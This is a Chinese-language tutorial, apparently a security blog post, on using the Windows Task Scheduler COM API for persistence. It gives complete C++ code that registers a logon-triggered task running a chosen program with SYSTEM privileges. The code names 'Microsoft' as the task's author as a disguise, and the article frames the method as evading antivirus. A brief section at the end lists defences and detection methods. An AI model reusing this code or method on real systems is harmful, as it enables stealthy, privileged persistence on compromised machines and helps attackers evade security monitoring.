关于计划任务的探究
字数 1403 2025-08-24 20:49:22
计划任务权限维持技术深入探究与实现
1. 计划任务基础概念
计划任务是Windows系统的核心功能,允许用户在特定时间或事件触发时自动执行脚本、程序或文档。其主要特点包括:
- 系统启动时自动运行并在后台持续工作
- 可通过"计算机管理 -> 任务计划程序 -> 任务计划程序库"查看和管理
- 支持多种触发条件(登录、定时、空闲等)
- 常用于服务器定时任务执行
2. 计划任务在权限维持中的应用
攻击者常利用计划任务实现权限维持,主要优势:
- 系统原生功能,不易引起怀疑
- 支持多种触发方式(如登录触发)
- 可以以SYSTEM等高权限运行
- 持久性强,重启后仍有效
但现代杀软已加强对计划任务创建的监控,直接使用传统方法(如schtasks命令)容易被拦截。
3. 计划任务API深度解析
3.1 核心COM接口
Windows提供了完整的COM接口用于编程操作计划任务:
- ITaskService接口:任务服务主接口,用于连接任务计划服务
- ITaskFolder接口:表示任务文件夹,用于管理任务
- ITaskDefinition接口:定义任务的核心组件
- IRegistrationInfo接口:任务注册信息(作者、描述等)
- ITriggerCollection/ITrigger接口:触发器管理
- IActionCollection/IAction/IExecAction接口:任务动作管理
3.2 关键API函数
CoInitializeEx:初始化COM库环境CoCreateInstance:创建任务服务对象Connect:连接到任务计划服务GetFolder:获取任务文件夹指针NewTask:创建新任务定义RegisterTaskDefinition:注册并创建计划任务
4. 绕过杀软的计划任务实现方案
4.1 实现流程
4.1.1 初始化阶段
- 初始化COM环境:
HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED);
- 创建任务服务对象并连接:
hr = CoCreateInstance(CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER,
IID_ITaskService, (LPVOID*)(&m_lpITS));
hr = m_lpITS->Connect(_variant_t(), _variant_t(), _variant_t(), _variant_t());
- 获取根任务文件夹指针:
hr = m_lpITS->GetFolder(_bstr_t("\\"), &m_lpRootFolder);
4.1.2 任务创建阶段
- 检查并删除同名任务(可选):
m_lpRootFolder->DeleteTask(_bstr_t(wszTaskName), 0);
- 创建任务定义对象:
ITaskDefinition* pTask = NULL;
hr = pService->NewTask(0, &pTask);
- 设置注册信息(伪装为Microsoft):
IRegistrationInfo* pRegInfo = NULL;
hr = pTask->get_RegistrationInfo(&pRegInfo);
hr = pRegInfo->put_Author(L"Microsoft");
- 配置任务设置:
ITaskSettings* pSettings = NULL;
hr = pTask->get_Settings(&pSettings);
hr = pSettings->put_StartWhenAvailable(VARIANT_TRUE);
- 创建登录触发器:
ITriggerCollection* pTriggerCollection = NULL;
hr = pTask->get_Triggers(&pTriggerCollection);
ITrigger* pTrigger = NULL;
hr = pTriggerCollection->Create(TASK_TRIGGER_LOGON, &pTrigger);
- 设置执行动作(恶意程序路径):
IActionCollection* pActionCollection = NULL;
hr = pTask->get_Actions(&pActionCollection);
IAction* pAction = NULL;
hr = pActionCollection->Create(TASK_ACTION_EXEC, &pAction);
IExecAction* pExecAction = NULL;
hr = pAction->QueryInterface(IID_IExecAction, (void**)&pExecAction);
hr = pExecAction->put_Path(_bstr_t(FilePath));
- 注册计划任务(关键步骤):
IRegisteredTask* pRegisteredTask = NULL;
hr = pRootFolder->RegisterTaskDefinition(
_bstr_t(wszTaskName),
pTask,
TASK_CREATE_OR_UPDATE, // 创建或覆盖
_variant_t(L"system"), // 以SYSTEM权限运行
_variant_t(),
TASK_LOGON_GROUP, // 组激活方式
_variant_t(L""),
&pRegisteredTask);
4.2 关键绕过技术
- 权限伪装:使用
TASK_LOGON_GROUP激活方式而非密码方式 - 信息伪装:将作者设置为"Microsoft"
- API级操作:直接使用COM接口而非命令行工具
- 最小权限原则:仅请求必要的权限
5. 完整实现代码
BOOL Tasksch(LPWSTR wszTaskName, LPWSTR FilePath) {
// 初始化COM
HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED);
if(FAILED(hr)) {
printf("[!] CoInitializeEx failed, error is : %x", hr);
return 1;
}
hr = CoInitializeSecurity(NULL, -1, NULL, NULL,
RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
RPC_C_IMP_LEVEL_IMPERSONATE,
NULL, 0, NULL);
// 创建任务服务
ITaskService* pService = NULL;
hr = CoCreateInstance(CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER,
IID_ITaskService, (void**)&pService);
hr = pService->Connect(_variant_t(), _variant_t(), _variant_t(), _variant_t());
// 获取根文件夹
ITaskFolder* pRootFolder = NULL;
hr = pService->GetFolder(_bstr_t(L"\\"), &pRootFolder);
pRootFolder->DeleteTask(_bstr_t(wszTaskName), 0); // 删除同名任务
// 创建任务定义
ITaskDefinition* pTask = NULL;
hr = pService->NewTask(0, &pTask);
pService->Release();
// 设置注册信息
IRegistrationInfo* pRegInfo = NULL;
hr = pTask->get_RegistrationInfo(&pRegInfo);
hr = pRegInfo->put_Author(L"Microsoft");
// 配置任务设置
ITaskSettings* pSettings = NULL;
hr = pTask->get_Settings(&pSettings);
hr = pSettings->put_StartWhenAvailable(VARIANT_TRUE);
pSettings->Release();
// 创建登录触发器
ITriggerCollection* pTriggerCollection = NULL;
hr = pTask->get_Triggers(&pTriggerCollection);
ITrigger* pTrigger = NULL;
hr = pTriggerCollection->Create(TASK_TRIGGER_LOGON, &pTrigger);
pTriggerCollection->Release();
ILogonTrigger* pLogonTrigger = NULL;
hr = pTrigger->QueryInterface(IID_ILogonTrigger, (void**)&pLogonTrigger);
pTrigger->Release();
hr = pLogonTrigger->put_Id(_bstr_t(L"Trigger1"));
// 设置执行动作
IActionCollection* pActionCollection = NULL;
hr = pTask->get_Actions(&pActionCollection);
IAction* pAction = NULL;
hr = pActionCollection->Create(TASK_ACTION_EXEC, &pAction);
IExecAction* pExecAction = NULL;
hr = pAction->QueryInterface(IID_IExecAction, (void**)&pExecAction);
hr = pExecAction->put_Path(_bstr_t(FilePath));
pExecAction->Release();
// 注册计划任务
IRegisteredTask* pRegisteredTask = NULL;
hr = pRootFolder->RegisterTaskDefinition(
_bstr_t(wszTaskName),
pTask,
TASK_CREATE_OR_UPDATE,
_variant_t(L"system"),
_variant_t(),
TASK_LOGON_GROUP,
_variant_t(L""),
&pRegisteredTask);
// 清理资源
pRootFolder->Release();
pTask->Release();
if(pRegisteredTask) pRegisteredTask->Release();
CoUninitialize();
return SUCCEEDED(hr);
}
6. 防御与检测建议
6.1 防御措施
- 限制计划任务创建权限
- 监控高权限进程创建计划任务的行为
- 检查计划任务的作者、描述等元数据
- 特别关注登录触发型的计划任务
6.2 检测方法
- 检查异常的计划任务路径(如临时目录)
- 监控计划任务API的调用链
- 分析计划任务的数字签名和元数据
- 关注以SYSTEM权限运行的非系统计划任务
7. 总结
通过Windows任务计划程序API直接创建计划任务是一种有效的权限维持技术,相比传统命令行工具更隐蔽,能够绕过部分杀软的检测。关键在于:
- 正确使用COM接口和API调用顺序
- 合理伪装任务信息
- 选择合适的触发方式和执行权限
- 避免引起杀软怀疑的行为模式
这种技术展示了Windows系统功能被滥用的典型案例,也提醒防御方需要从API层面而不仅仅是命令行层面进行安全监控。